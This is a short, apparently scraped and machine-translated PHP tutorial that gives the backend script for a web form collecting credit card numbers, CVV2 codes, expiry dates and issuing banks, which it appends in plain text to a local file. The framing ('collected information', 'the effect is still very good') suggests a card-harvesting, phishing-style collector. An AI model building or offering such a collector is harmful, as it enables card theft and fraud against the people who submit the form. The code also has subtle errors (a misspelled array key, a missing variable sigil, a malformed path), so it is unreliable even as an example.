As for the content of the form, I won’t go into details here. The main thing is the action="getpost.php" of the form, which means writing the file getpost.php. Below I will post the contents of this file.
Copy code The code is as follows:
//Define the form content to be collected
$cardnum = $_POST['cardnum'];
$cvv2 = $_POST['cvv2'];
$month = $_POST['month'];
$year = $_POST['year '];
$cardbank = $_POST['cardbank'];
//Define the collected content format
$content = "Credit Card Number:".$cardnum.",Card Verification Number:" .$cvv2.",Card Expiry Date:".$month."/ year:".$year.",IssuingBank:".cardbank;
//Define the location where the file is stored
$compile_dir = ". /txt.txt";
//The following is the written PHP code
$file = fopen($compile_dir,"a+");
fwrite($file,$content);
fclose($file);
?>
Finally, txt.txt will be created in the current directory and the collected information will be written into this file. The effect is still very good of.
http://www.bkjia.com/PHPjc/324892.htmlwww.bkjia.comtruehttp: //www.bkjia.com/PHPjc/324892.htmlTechArticleAs for the content of the form, I won’t go into details here. The main thing is the action="getpost.php" of the form. Just write the file getpost.php. Below I will post the contents of this file. Copy code...